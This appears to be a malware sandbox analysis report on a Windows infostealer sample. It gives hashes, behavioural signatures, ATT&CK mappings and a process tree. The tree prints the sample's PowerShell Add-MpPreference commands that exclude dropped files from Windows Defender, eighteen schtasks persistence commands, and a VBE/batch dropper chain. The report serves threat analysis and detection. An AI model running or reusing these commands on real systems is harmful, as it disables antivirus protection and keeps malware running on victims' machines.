f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401

Analysis

max time kernel
141s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 01:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401.exe
Size 2.1MB
Sample240601-cej2dsef92
SHA256 f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401
MD5 7241cd29ebb4672d301c2d1dba08ea43
SHA1 153d68fd0e957c2947c183fa49fd06f7d18cb25f
SHA512 019d1d4c5cbf1b5fdfc4076613d1bd7a6b94381045bfbdd160db77f19f9ce290b21a76e8e314d664700a916325cbe8a6129fe79ac4eceecf062b8bd415438b2d
SSDEEP 24576:2TbBv5rUyXVfwhSgYIxB91onY73EVbzypEBNwjy30/uMEMWvCUJsWkIgFljZ3bGu:IBJM5kVSpGujyRs3rlne/yt3v
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution spyware stealer

Malware Config

Signatures

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2360	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2676	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1212	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4472	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2304	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4944	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4432	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4440	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2768	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3108	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	980	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4888	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1608	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4112	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3976	3480	schtasks.exe	94
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1044	3480	schtasks.exe	94

Detects executables packed with unregistered version of .NET Reactor 2 IoCs

resource	yara_rule
behavioral2/files/0x000800000002340f-10.dat	INDICATOR_EXE_Packed_DotNetReactor
behavioral2/memory/4452-13-0x00000000007D0000-0x00000000009AE000-memory.dmp	INDICATOR_EXE_Packed_DotNetReactor

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4100	powershell.exe
4812	powershell.exe
4368	powershell.exe
1792	powershell.exe
744	powershell.exe
1492	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	ProviderDriverHostperfDhcp.exe

Executes dropped EXE 2 IoCs

pid	Process
4452	ProviderDriverHostperfDhcp.exe
3176	System.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	ipinfo.io
31	ipinfo.io
55	ipinfo.io
56	ipinfo.io

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Speech_OneCore\Engines\SR\en-US-N\TrustedInstaller.exe	ProviderDriverHostperfDhcp.exe
File created	C:\Windows\Speech_OneCore\Engines\SR\en-US-N\04c1e7795967e4	ProviderDriverHostperfDhcp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2708	schtasks.exe
4432	schtasks.exe
4440	schtasks.exe
2304	schtasks.exe
4112	schtasks.exe
3976	schtasks.exe
1212	schtasks.exe
4472	schtasks.exe
4888	schtasks.exe
4944	schtasks.exe
2768	schtasks.exe
3108	schtasks.exe
1848	schtasks.exe
980	schtasks.exe
1608	schtasks.exe
2360	schtasks.exe
2676	schtasks.exe
1044	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	ProviderDriverHostperfDhcp.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3940	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe
4452	ProviderDriverHostperfDhcp.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3176	System.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4452	ProviderDriverHostperfDhcp.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	3176	System.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4892 wrote to memory of 1440	4892	f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401.exe	83
PID 4892 wrote to memory of 1440	4892	f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401.exe	83
PID 4892 wrote to memory of 1440	4892	f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401.exe	83
PID 1440 wrote to memory of 4036	1440	WScript.exe	98
PID 1440 wrote to memory of 4036	1440	WScript.exe	98
PID 1440 wrote to memory of 4036	1440	WScript.exe	98
PID 4036 wrote to memory of 4452	4036	cmd.exe	100
PID 4036 wrote to memory of 4452	4036	cmd.exe	100
PID 4452 wrote to memory of 744	4452	ProviderDriverHostperfDhcp.exe	119
PID 4452 wrote to memory of 744	4452	ProviderDriverHostperfDhcp.exe	119
PID 4452 wrote to memory of 1492	4452	ProviderDriverHostperfDhcp.exe	120
PID 4452 wrote to memory of 1492	4452	ProviderDriverHostperfDhcp.exe	120
PID 4452 wrote to memory of 4100	4452	ProviderDriverHostperfDhcp.exe	121
PID 4452 wrote to memory of 4100	4452	ProviderDriverHostperfDhcp.exe	121
PID 4452 wrote to memory of 4812	4452	ProviderDriverHostperfDhcp.exe	122
PID 4452 wrote to memory of 4812	4452	ProviderDriverHostperfDhcp.exe	122
PID 4452 wrote to memory of 4368	4452	ProviderDriverHostperfDhcp.exe	123
PID 4452 wrote to memory of 4368	4452	ProviderDriverHostperfDhcp.exe	123
PID 4452 wrote to memory of 1792	4452	ProviderDriverHostperfDhcp.exe	124
PID 4452 wrote to memory of 1792	4452	ProviderDriverHostperfDhcp.exe	124
PID 4452 wrote to memory of 1836	4452	ProviderDriverHostperfDhcp.exe	131
PID 4452 wrote to memory of 1836	4452	ProviderDriverHostperfDhcp.exe	131
PID 1836 wrote to memory of 4440	1836	cmd.exe	133
PID 1836 wrote to memory of 4440	1836	cmd.exe	133
PID 1836 wrote to memory of 3940	1836	cmd.exe	134
PID 1836 wrote to memory of 3940	1836	cmd.exe	134
PID 1836 wrote to memory of 3176	1836	cmd.exe	136
PID 1836 wrote to memory of 3176	1836	cmd.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401.exe
"C:\Users\Admin\AppData\Local\Temp\f0e9974dead6f18b6697846e090af1d56a7f8d94bf32e9b98583b7b07e687401.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Refruntime\6ZGF3GWTyiIrgsoUhZP9qVSNQMVLSQUZZt.vbe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Refruntime\cNiACUO2UiPOjHu3oFipMiH5iUpfcQ8F3xKAVayXqlSfmd.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4036
  - - C:\Refruntime\ProviderDriverHostperfDhcp.exe
      "C:\Refruntime/ProviderDriverHostperfDhcp.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\wininit.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:744
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\services.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1492
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\S-1-5-21-1337824034-2731376981-3755436523-1000\System.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4100
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\SR\en-US-N\TrustedInstaller.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Refruntime\unsecapp.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4368
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Refruntime\ProviderDriverHostperfDhcp.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1792
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\a4p2mvnbum.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1836
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:4440
      - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        6⤵
        Runs ping.exe
        
        PID:3940
      - C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\S-1-5-21-1337824034-2731376981-3755436523-1000\System.exe
        
        "C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\S-1-5-21-1337824034-2731376981-3755436523-1000\System.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:3176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2360

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\S-1-5-21-1337824034-2731376981-3755436523-1000\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\S-1-5-21-1337824034-2731376981-3755436523-1000\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\S-1-5-21-1337824034-2731376981-3755436523-1000\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 14 /tr "'C:\Windows\Speech_OneCore\Engines\SR\en-US-N\TrustedInstaller.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\Windows\Speech_OneCore\Engines\SR\en-US-N\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 13 /tr "'C:\Windows\Speech_OneCore\Engines\SR\en-US-N\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 11 /tr "'C:\Refruntime\unsecapp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Refruntime\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 12 /tr "'C:\Refruntime\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ProviderDriverHostperfDhcpP" /sc MINUTE /mo 10 /tr "'C:\Refruntime\ProviderDriverHostperfDhcp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ProviderDriverHostperfDhcp" /sc ONLOGON /tr "'C:\Refruntime\ProviderDriverHostperfDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ProviderDriverHostperfDhcpP" /sc MINUTE /mo 7 /tr "'C:\Refruntime\ProviderDriverHostperfDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

6ZGF3GWTyiIrgsoUhZP9qVSNQMVLSQUZZt.vbe

Path C:\Refruntime\6ZGF3GWTyiIrgsoUhZP9qVSNQMVLSQUZZt.vbe
Size 235B
SHA256 adc1ab474c9a0d09f320cbd1b8dab58f9fa3ce876fa58094837304cf3abb8510
MD5 658a44b7c99ca91c93c03c1bc31385ad
SHA1 d2df65559d23dc7b36293d8b8ef5ed84bb3fd076
SHA512 7e7197baabcf43735bf288ecb2d81d26b9b865e5a45196d72fa2b84dea007e67808903996f89ceb173ece6d7f16dc1f872e6a0eb6ebcc55109f7e90b6cbf194e
MD5 SHA1 SHA512

Submit Download

ProviderDriverHostperfDhcp.exe

Path C:\Refruntime\ProviderDriverHostperfDhcp.exe
Size 1.8MB
SHA256 a50f8b7a67338a939ee0fc47f3140bb7f9724ab9c183e2dccb005885f962798b
MD5 6245601b0dec710ec81dba593d52741b
SHA1 31fdfd6c0f2b2d9add387d799ec613231029b042
SHA512 2d6b35ee449f7d153d94d6c4b168ea8f322dcf90c8d3f7ef641755026158c0419eb63b7b2da374bff381d49c6cd1aa076101cf85a47c6b4cd8f7f3ff2ac493fd
SSDEEP 24576:dwhSgYIxB91onY73EVbzypEBNwjy30/uMEMWvCUJsWkIgFljZ3bGARrSv6snyzB+:G5kVSpGujyRs3rlne/yt3
MD5 SHA1 SHA512 SSDEEP

Submit Download

cNiACUO2UiPOjHu3oFipMiH5iUpfcQ8F3xKAVayXqlSfmd.bat

Path C:\Refruntime\cNiACUO2UiPOjHu3oFipMiH5iUpfcQ8F3xKAVayXqlSfmd.bat
Size 95B
SHA256 9c65d82facd9e8ee21b5f88d5f51823c7c71b5ffa28c665d886abdf3297b0fc4
MD5 1d6f47cde328fc04e46d760280cfda16
SHA1 57767f1aceffc27172b8b2156811922fe742db36
SHA512 994a2c44b3883be4485c4b95b6974dffe7219894baf9854bdf95a06c64caf84f25baedc083736544cbbe719d2916ece428fe0ac0edbae32f5cf5573f8501ef57
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d
MD5 59d97011e091004eaffb9816aa0b9abd
SHA1 1602a56b01dd4b7c577ca27d3117e4bcc1aa657b
SHA512 d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_hb0bxu30.kxg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hb0bxu30.kxg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

a4p2mvnbum.bat

Path C:\Users\Admin\AppData\Local\Temp\a4p2mvnbum.bat
Size 251B
SHA256 455b8df80e4fb81c40afaf07f400146f1d5ccd1cc4ca204b2a522381ed23fed0
MD5 a41e42753853df2db595a07338677c41
SHA1 19e5693d7b9d39b24874bcd6492f2e835adb85de
SHA512 442e8f1aad0e5f0e9405eda7d0e3a02343784f3af4c0c417cef5909de47476e6ed96c1075f55ef1061fa5897b57e51a5b73e4d0d2c6797d7965a69d20078277d
MD5 SHA1 SHA512

Submit Download

memory/3176-119-0x0000000002810000-0x0000000002818000-memory.dmp

Download

memory/4100-47-0x000001927ACD0000-0x000001927ACF2000-memory.dmp

Download

memory/4452-13-0x00000000007D0000-0x00000000009AE000-memory.dmp

Download

memory/4452-41-0x0000000002B60000-0x0000000002B68000-memory.dmp

Download

memory/4452-24-0x0000000001330000-0x000000000133C000-memory.dmp

Download

memory/4452-22-0x0000000001320000-0x0000000001328000-memory.dmp

Download

memory/4452-20-0x0000000002B20000-0x0000000002B38000-memory.dmp

Download

memory/4452-18-0x0000000002B70000-0x0000000002BC0000-memory.dmp

Download

memory/4452-17-0x0000000001340000-0x000000000135C000-memory.dmp

Download

memory/4452-15-0x00000000011C0000-0x00000000011CE000-memory.dmp

Download

memory/4452-12-0x00007FFDACE23000-0x00007FFDACE25000-memory.dmp

Download